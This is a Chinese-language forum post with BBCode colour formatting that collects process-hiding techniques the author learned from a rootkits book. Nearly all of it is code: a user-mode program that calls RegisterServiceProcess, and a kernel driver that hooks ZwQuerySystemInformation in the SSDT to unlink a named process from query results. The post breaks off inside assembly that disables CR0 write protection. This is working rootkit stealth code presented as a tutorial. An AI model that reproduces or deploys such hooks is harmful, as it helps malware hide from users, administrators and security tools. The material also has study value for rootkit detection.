扔出篇垃圾文章,(高手看过笑一下,本文的效果达到了!新入门的觉得有点收获,效果也达到了,高手还是掠过吧!没创新,就是一些总结)
今天是距奥运会的最后一天,已经碌碌无为了.也没什么长进,只是觉得看那本《Rootkits Subverting the Windows Kernel》中文名是《ROOTKITS—Windows内核的安全防护》(连名字都给人家改了)觉得收获颇丰.
最近看了下DKOM隐藏驱动,随之联想到几种隐藏进程的方法:
第一种:ring3下的很简单很古老一种方法就是调用RegisterServiceProcess函数
[COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<windows.h>[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]void main()[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]typedef [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times] ([/FONT][/COLOR][COLOR=#a000a0][FONT=Times]CALLBACK[/FONT][/COLOR][COLOR=#808000][FONT=Times]* [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]LPR[/FONT][/COLOR][COLOR=#808000][FONT=Times])([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]HINSTANCE[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]hDLL[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]LPR[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]lpRegisterServiceProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]hDLL[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]LoadLibrary[/FONT][/COLOR][COLOR=#808000][FONT=Times]("KERNEL32.dll"); [/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]得到RegisterServiceProcess的地址 [/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]lpRegisterServiceProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]LPR[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#ff8000][FONT=Times]GetProcAddress[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]hDLL[/FONT][/COLOR][COLOR=#808000][FONT=Times],"RegisterServiceProcess" ); [/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]执行RegisterServiceProcess函数 [/FONT][/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]lpRegisterServiceProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#ff8000][FONT=Times]GetCurrentProcessId[/FONT][/COLOR][COLOR=#808000][FONT=Times](),[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] ); [/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]卸载链接库 [/FONT][/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]FreeLibrary[/FONT][/COLOR][COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]hDLL[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]while ( [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]#include [/FONT][/COLOR][COLOR=#808000][FONT=Times]<ntddk.h>[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//struct of ssdt[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]typedef struct [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]_SERVICE_DESCRIPT0R_TABLE[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]unsigned int *[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]unsigned int *[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ServiceCounterTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]unsigned int [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NumberOfService[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]unsigned [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]char[/FONT][/COLOR][COLOR=#808000][FONT=Times] *[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ParamTableBase[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]SERVICE_DESCRIPTOR_TABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times],*[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PSERVICE_DESCRIPTOR_TABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]typedef struct [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]_SYSTEM_THREADS[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] LARGE_INTEGER [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]KernelTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] LARGE_INTEGER [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]UserTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] LARGE_INTEGER [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]CreateTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]WaitTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PVOID[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]StartAddress[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] CLIENT_ID [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ClientIs[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]KPRIORITY[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Priority[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]KPRIORITY[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]BasePriority[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ContextSwitchCount[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ThreadState[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] KWAIT_REASON [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]WaitReason[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]SYSTEM_THREADS[/FONT][/COLOR][COLOR=#808000][FONT=Times],*[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PSYSTEM_THREADS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]typedef struct [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]_SYSTEM_PROCESSES[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ThreadCount[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Reserved[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]6[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] LARGE_INTEGER[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]CreateTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] LARGE_INTEGER[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]UserTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] LARGE_INTEGER[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]KernelTime[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] UNICODE_STRING[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ProcessName[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]KPRIORITY[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]BasePriority[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ProcessId[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]InheritedFromProcessId[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]HandleCount[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Reserved2[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]2[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] VM_COUNTERS [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]VmCounters[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] IO_COUNTERS [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]IoCounters[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#008000][FONT=Times]//windows 2000 only[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]SYSTEM_THREADS[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Threads[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]SYSTEMPROCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times],*[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PSYSTEMPROCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]NTSYSAPI[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]SERVICE_DESCRIPTOR_TABLE[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]KeServiceDescriptorTable[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]NTSYSAPI[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]NTAPI[/FONT][/COLOR][COLOR=#ff8000][FONT=Times]ZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PVOID[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformationLength[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]OUT[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ReturnLength[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]typedef [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] (*[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times])([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PVOID[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformationLength[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ReturnLength[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] );[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]OldZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT=Times] NewZwQuerySystemInformation( [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PVOID[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]ULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformationLength[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#a000a0][FONT=Times]OUT[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PULONG[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ReturnLength[/FONT][/COLOR]
[COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]NTSTATUS[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times] = (([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ZWQUERYSYSTEMINFORMATION[/FONT][/COLOR][COLOR=#808000][FONT=Times])([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]OldZwQuerySystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times]))([/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]SystemInformationLength[/FONT][/COLOR][COLOR=#808000][FONT=Times],[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]ReturnLength[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]);[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( ![/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NT_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]如果失败直接返回[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInfomationClass[/FONT][/COLOR][COLOR=#808000][FONT=Times] == [/FONT][/COLOR][COLOR=#808080][FONT=Times]5[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]如果是列表查询![/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PSYSTEMPROCESS[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PSYSTEMPROCESS[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]得得到进程列表[/FONT][/FONT][/COLOR]
[COLOR=#0000ff][FONT=Times]PSYSTEMPROCESS[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]设置第一项为空[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]while( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]开始循环[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ProcessName[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Buffer[/FONT][/COLOR][COLOR=#808000][FONT=Times] != [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#ff8000][FONT=Times]memcmp[/FONT][/COLOR][COLOR=#808000][FONT=Times]( [/FONT][/COLOR][COLOR=#ff8000][FONT=Times]_wcslwr[/FONT][/COLOR][COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ProcessName[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]Buffer[/FONT][/COLOR][COLOR=#808000][FONT=Times]),[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]将字符串变成小写再比较[/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]L[/FONT][/COLOR][COLOR=#808000][FONT=Times]"explorer.exe", sizeof( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]L[/FONT][/COLOR][COLOR=#808000][FONT=Times]"explorer.exe" )) == [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]如果不是第一个[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]不是最后一个[/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] += [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]最后一个[/FONT][/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]第一个[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]char[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] += [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]SystemInformation[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]pPrevious[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]if( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]([/FONT][/COLOR][COLOR=#00ffff][FONT=Times]char[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] += [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]NextEntryDelta[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]移向下一个节点[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]else[/FONT][/COLOR]
[COLOR=#00ffff][FONT=Times]pCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]NULL[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]return [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]ntStatus[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]}[/FONT][/COLOR]
[COLOR=#008000][FONT=Times]//[FONT=宋体]驱动卸载函数[/FONT][/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]VOID[/FONT][/COLOR][COLOR=#808000][FONT=Times] OnUnload( [/FONT][/COLOR][COLOR=#a000a0][FONT=Times]IN[/FONT][/COLOR][COLOR=#0000ff][FONT=Times]PDRIVER_OBJECT[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]DriverObject[/FONT][/COLOR][COLOR=#808000][FONT=Times] )[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( " The Driver Unload ! \n" );[/FONT][/COLOR]
[COLOR=#ff8000][FONT=Times]DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "UnHook Start! \n ");[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]__asm[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]去掉内存保护[/FONT][/FONT][/COLOR]
[COLOR=#808000][FONT=Times]{[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]cli[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]mov [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]cr0[/FONT][/COLOR]
[COLOR=#808000][FONT=Times]and [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]eax[/FONT][/COLOR][COLOR=#808000][FONT=Times], not [/FONT][/COLOR][COLOR=#808080][FONT=Times]10000h[/FONT][/COLOR]
